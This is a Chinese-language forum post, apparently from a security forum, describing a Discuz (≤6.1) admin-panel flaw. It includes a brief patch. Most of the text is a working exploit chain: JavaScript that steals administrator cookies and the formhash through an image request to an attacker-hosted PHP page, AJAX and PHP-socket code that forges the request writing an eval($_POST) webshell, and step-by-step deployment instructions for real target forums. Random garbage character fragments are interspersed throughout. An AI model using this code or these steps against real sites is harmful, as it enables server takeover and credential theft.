Discuz XSS得webshell1 L% i5 V+ ^- ]: c- [8 a4 e' Z# f
By racle @tian6.com
, J: Z: |& K6 E5 d欢迎转帖.但请保留版权信息.* E0 t7 k" V* r/ Y: z0 U& o/ M
受影响版本 iscuz<=6.1.0,gbk+utf+big5
- ]7 c1 k% Y3 y
, S3 U' [; M. r& x7 U% {新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
1 X! x g4 C) V1 H3 m: m6 A3 [/ f7 i8 C: v
$ e6 M* F2 [0 N4 Y: ^
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
2 `; Q9 ^- o7 R* n当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
+ h+ Z* O3 k# G* d# s; e0 }, W" ] p+ Y# M0 K) X
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..: \1 d5 A8 O, c5 w! \5 l
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS4 ]" R6 X7 H l0 V, ]4 z7 n6 c
% D' d: c4 M2 m+ D- }" K$ x B \& b+ t
----------------------------------------------------------前言分隔线----------------------------------------------------------------------------- ?" G% b P$ x6 N( f8 L2 ?
7 ?7 V; c5 D9 T4 ]* Z
% r0 {8 t }$ x$ O1 [) Qproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
6 C. p! `+ b* H. J3 p8 F" [+ L( }% z1 }! k. {$ C; B
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.. h1 h8 N2 h2 E" s5 J0 K5 T6 r
2 T* f) B7 i% V7 Sproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.4 h0 R* G, P2 ^( l7 L8 Y
1 ^; o3 B0 m/ @( N( R
. T! P& w. Q8 |! f0 n
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
* _6 `# ~+ E5 v$ P; H! C
+ x" w& {% [% U& z6 _/ g global $runwizardfile, $runwizardhistory;
+ C( O1 T1 J" G4 l( F7 _6 i& V3 I; u. t9 H, y6 f- g8 p3 ~( l
$fp = fopen($runwizardfile, 'w');0 N; g; g, L& B5 A6 v' |9 I
% D: a5 i; |6 g1 n$ ?) h fwrite($fp, serialize($runwizardhistory));& H0 G& @+ N9 N' w* [% N4 A; n
O; u: I- w2 |+ W: w- z( L$ K
fclose($fp);
! P; D/ z0 f. d$ M/ o) m4 Q: H5 H8 X$ Y N
}' C0 Q% N/ e. ~ Y+ c/ a; }
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.' ]! |& D/ M3 F9 c9 s
以下是修补的办法:function saverunwizardhistory() {
. N9 [5 P8 O1 J1 W4 Q! m& Y/ O6 q% ]7 ^
global $runwizardfile, $runwizardhistory;
6 q: T1 k. q. n* N5 ?. y- M
& h8 x2 S1 m" p2 r $fp = fopen($runwizardfile, 'w');. Q3 I) j/ s& q9 z* f# ^8 W) }
) }0 s: |: e5 [ $s = '<?php exit;?>';
J) W& R' s: P: n) A* N
3 G1 g+ F. v* r- L1 W B $s .= serialize($runwizardhistory);
# X2 q# i2 ?2 B+ b5 s$ E( J4 a1 {1 t% ?2 u2 n: i. Z
fwrite($fp, $s);
" z) H- n$ w5 V c' H" j7 h4 Z! X6 v9 ]0 l" o
fclose($fp);( f; m, e1 M6 m6 E
; X# C0 p5 A/ F2 \% @- [. a' b
}- a! F2 A0 A" q( d5 O2 O
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
8 L/ {5 w7 ]3 n; ^8 C# O( g; r% p$ J7 U+ x3 e# w! ^
( ?7 \2 G3 b5 C( J9 g5 f
) g+ T6 D% W# j" N2 Z/ H Q----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
3 W# d- I7 n: c* x+ U5 R9 y) a& b {+ t4 X; x& J
7 H, P0 [5 m- K. x( ~! K 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了./ M4 m" u* j8 u: ?* z+ {
( ^( f8 ^: e. z- S" C4 k
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
6 @6 x d4 u& [- d0 i2 [/ Z$ d O; Z. H+ W
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
/ L8 Z6 ?2 [0 U4 ]3 Z5 F4 ^ T; {% I4 p- _; L. X
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:6 [; S9 M' m2 |' ~% W! c9 Y" k
" D; m4 h5 n+ T0 Q! B S. Ovar url="http://目标网站/admincp.php";
W8 ^8 ]# ?. f' V( D+ {+ s5 f' _. U/ U8 w! \
/*获得cookies*/
5 `, [- x8 p* m7 Z. I
% e# h( r# t, ^5 L/ L0 o. k9 sfunction getURL(s) {
1 m, X: E& U; y" r( J: X+ u- X. I4 J6 L: I$ ?
var image = new Image(); Q- N3 @2 }1 c( A' K
# S3 v7 U7 f4 {! ?
image.style.width = 0;
5 g9 |$ K) O7 ]: F' \
5 ]4 m- o6 W( E, ^4 fimage.style.height = 0;) E$ s2 H9 L( Q4 P7 u5 [
* }: d% W2 L2 f! v. p$ }( `
image.src = s;
* q. D, I& m! F8 G' e% o& a* A, Y* @2 \4 M+ `0 J
}
! x% r$ Q- {+ Z9 l3 @
! p& r6 |: {( OgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php2 @$ b5 s' J7 |7 N1 C) L
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];4 J5 d" _3 O) o: `) M$ s
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
2 j$ f9 n5 m* p! a! Y( g$ C* L& u! n, q$ V Q$ o7 b! ?" J
3 O* K* q4 n& J2 J+ u8 J
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";) @: M! S& @: K; O; _
& u+ ~/ j3 W! U
) ^2 ?( q$ u+ G
. W" C; \3 W0 q/*hash*/0 H& V! E9 j7 d* O5 d) ]& x `- P
B2 l0 X% ^. _" p2 D
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");% I5 ~$ v& ], u; {* ~
H9 Y$ W `2 o) f: Q) `) ExmlHttpReq.open("GET", url+"admincp.php?action=home", false);
3 P2 E& H, A4 C" P0 ]0 u! u# Z
2 z2 f" I( {2 s6 f0 d8 B4 y! BxmlHttpReq.send();' A. l8 Y8 z8 [( q) G( O; ~0 ~% T
! D, z: T; f9 _& w" r4 T- fvar resource = xmlHttpReq.responseText;
0 _' |, D9 L8 k4 `5 s M/ k G4 V: R3 P5 f
var numero = resource.search(/formhash/);+ h; l$ R9 s' b1 k. D
+ ~; `8 i% z0 `: M$ n) X5 |, ?
var formhash=encodeURIComponent(resource.substr(numero+17,8));$ ]" G, C; T& q" t
6 P/ g d0 F! Y; v+ S( m l4 s$ ]4 M* _$ `; h( \, @
) T! H% q5 m/ m4 C6 a: E
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 5 q, s9 y; l% K8 Q: n/ J
: C0 M) h! w- S) Q- v+ QxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 / ~( P, b) d7 `2 W
2 y4 e2 V" w3 o& S% ^4 W; exmlHttpReq.setRequestHeader("Referer", url);7 }: N G. }; [
1 Z j: m, @6 J) ]- rxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");4 S# w, |7 F+ \& v2 `
E7 q# K+ V& k) o _
xmlHttpReq.setrequestheader("content-length",post.length);
% h. W6 c( C! W7 S! e% B
4 ]/ l- s, [6 C6 YxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
; p2 u! O) v8 i0 R! q3 U" \/ I! R/ _$ B+ S% |% T
xmlHttpReq.send(post);//发送数据8 k* w6 r5 R r" W" W
复制代码这里HASH我假设正确,这样提交,也无须cookies
6 t( L0 Z2 }+ l6 m) y6 L) i. d6 Q
' k% j, V7 ^- @; ?- c6 x( H再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);+ l/ u( d% P7 v( h9 y
7 h7 P4 F. u6 gif (!$sock) die("$errstr ($errno)\n");0 e( G% y c3 x. E& Y
7 i6 |& i" c7 b- [; {- I& O, e6 X
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';2 j' d# j) a7 N0 ~3 e& t3 ]
% ~$ O3 k; H: K0 y0 O6 _" ?+ x# o I! c6 B
+ J3 w; k7 `0 d7 ~6 g5 F1 L
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");- i' T h2 o& Y# R. c
' y' Y2 O" l( j1 ]6 x ?
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");0 Y% B2 G5 p7 `- g3 L
1 D3 t4 j9 h9 S {) c8 yfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");$ |$ K8 S9 j7 \4 ?
" g7 O) T0 ?2 O1 p- R* }fwrite($sock, "Accept-Language: zh-cn\r\n");
\1 j7 b' b2 Q) |/ g6 S; a' S" u' D; R# H
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");' {0 M% `) j- }0 F, W t: c; n
* F2 o. y6 m& ^* D* _
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");; a1 H. e' H( N1 `$ l2 \
% a- F: H n1 z1 T2 W; e! `fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
6 g V% r2 E( x; A4 e; f+ M+ b* }
fwrite($sock, "Host: $url\r\n");! w) U- F) L& \$ [. D
% a4 X- X" ?# T1 _" |, G$ l8 [ R
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");- ^5 |% o0 l* U
2 {( O! t; j9 n2 a; J7 f
fwrite($sock, "Connection: Keep-Alive\r\n");8 G8 H" s: w6 t; S9 ^4 s0 m
% N' V- ]9 s( u
fwrite($sock, "Cache-Control: no-cache\r\n");# v- s0 k% M3 E' V
6 C# f) c& T5 r$ H5 f+ i& p) Jfwrite($sock, "Cookie:".$cookies."\r\n\r\n");# Z6 D8 u8 Z% v% w) R- E8 ?
6 A- ^6 r/ t& l: s# K% C5 j# U* Yfwrite($sock, $data);0 C" P# j. g2 p( u: m( F
: A* x$ O9 c1 i3 ]: z
& u m6 q* \- t% n4 C" R9 o+ M' a- K
$headers = "";
; N! T5 ]+ Y3 R
- i- w4 l4 ?0 u' O8 Swhile ($str = trim(fgets($sock, 4096)))
[- B Z; H) z. i$ u, j) K
. ~7 z9 i) ^8 @. k $headers .= "$str\n";
8 f# L' w; ^+ b1 {$ p
% S9 b+ g& P9 ?: t6 [+ q/ U4 Pecho "\n";7 r7 ^! }( G( G+ r2 P3 P7 }
9 l3 n* M: p$ @7 Y, w$body = "";9 U2 F" A% ^8 A7 c
' l8 _9 `4 {( y
while (!feof($sock))9 {' a3 J: r5 e b% e
) r/ r: V8 [. j$ |% |3 I# |' F
$body .= fgets($sock, 4096);) j" d0 \ ^, c# Q. R2 I# n- @& q
8 z+ Q9 G b! w0 G9 ~* ?) f; G
fclose($sock);
. }1 }# X# B" G- v3 ^
' c0 T. i" C* G4 }- i+ {4 ]! x9 D- gecho $body;
8 {$ Q. `7 m' g( Q复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
! W" L/ D1 i! M. R( i/ p. ]
8 ~9 n4 i W) k$ j7 J; `
3 ]$ [3 }: x- m m) s+ d1 o- L-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
* M) T0 r( p8 j# E8 ]# |% A. t. ~8 ?
3 ^5 _+ ]: t' I9 K' P1 ?: n
1 HP SOCKET利用方法首先打开racle.js
2 q7 I9 d0 O. x. j( B
8 a' E) C6 b& B0 Hvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home+ C, d. u3 t& {, @* i" |: Z: X
- ?' ^* q' S% o+ H2 g" }
1 u/ E% D2 ~: H7 G& [$ M" ]6 i9 n- K* l3 }! ?0 \
然后打开racle@tian6.php0 J$ Z& g: W. u+ p
" E/ a- N6 b5 j$ R2 R$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com; u# N3 B \9 v6 _9 g/ T
Z+ y4 \; J- D& T- `
" h1 m: B; U ?! D; ?& S4 S. Z* r, M
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
" w' F5 v6 Z% L: K6 n! U4 |+ a" N+ ?: y2 ?: z
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
( n" R. H8 Z9 O( y) Y( r: P' s9 c9 I2 a# A+ j2 i
为
4 V2 h6 y5 z) v% c/ R
# n/ {) [) h# f0 ]* F( s: K7 m' O7 ZgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));% _3 e: R8 T9 r# L8 t& c' n
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
& k' ]; W/ u" a4 U2 _+ z& u% e0 N @ J9 X
# \. I1 N3 ^" D+ x2 J) f. M( B9 ~7 z: l$ [
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
: ~! d; C, C1 |2 q H& {' o: @% X% Z0 o
var formhash=encodeURIComponent(resource.substr(numero+17,8));: u8 F" W2 [/ \
: I( m9 I+ u3 }$ b7 J- S为3 G; D# K; u- \( ^# |. \# c @
) A: c1 m# I& K' X' F
var formhash=encodeURIComponent(resource.substr(numero+9,8));
0 Z/ q L+ ?( N9 J' c复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧., I2 Y, S2 J' A) \
, d7 b3 I2 M& U) m3 e/ J$ o1 F如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.0 K* B2 O/ i( |1 Y/ s9 P/ @6 l# w
1 j, s u% M- Q- A8 d+ o
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
) i1 v5 ~6 p; O. F9 n( k3 g, s# O
3 H! r: L$ V! {$ q不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.+ i" ] a% P2 G) [6 q& a8 @
. y; S# E0 M' ~1 E6 j |